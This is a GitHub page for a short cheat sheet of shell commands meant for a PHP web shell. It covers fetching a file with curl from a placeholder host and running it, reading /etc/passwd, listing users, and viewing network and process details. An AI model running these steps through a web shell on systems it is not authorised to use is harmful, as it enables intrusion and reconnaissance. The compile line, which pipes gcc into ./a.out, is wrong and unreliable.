-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbash_cheetsheet.txt
52 lines (37 loc) · 956 Bytes
/
bash_cheetsheet.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Primitive Remote BASH emulator (web-shell) in PHP
Helpful commands:
===================
DOWNLOAD FILE:
curl -O http://www.example.com/file.sh
FILE EXECUTION:
PY/PYW: python3 file.py
ELF: ./file
C: gcc file.c | ./a.out
VIEW PASSWD (USER) FILE:
cat /etc/passwd
VIEW IP/DHCP INFORMATION:
ifconfig
route -n
VIEW PROCESS/S:
ps
ps aux
LIST ALL USERS:
cut -d: -f1 /etc/passwd
awk -F: '{print $1}' /etc/passwd
who
DISPLAY USERGROUP:
groups <username>
VIEW INTERFACE/S:
iwconfig
INSTALL PYTHON MODULES:
pip3 install <module>
pip install <module>
VIEW INSTALLED COMPUTER-LANGUAGE VERSIONS:
PYTHON: python --version
CPP: g++ --version
C: gcc --version
PHP: php --version
PERL: perl --version
DISPLAY DIRECTORY LISTING:
dir
ls -a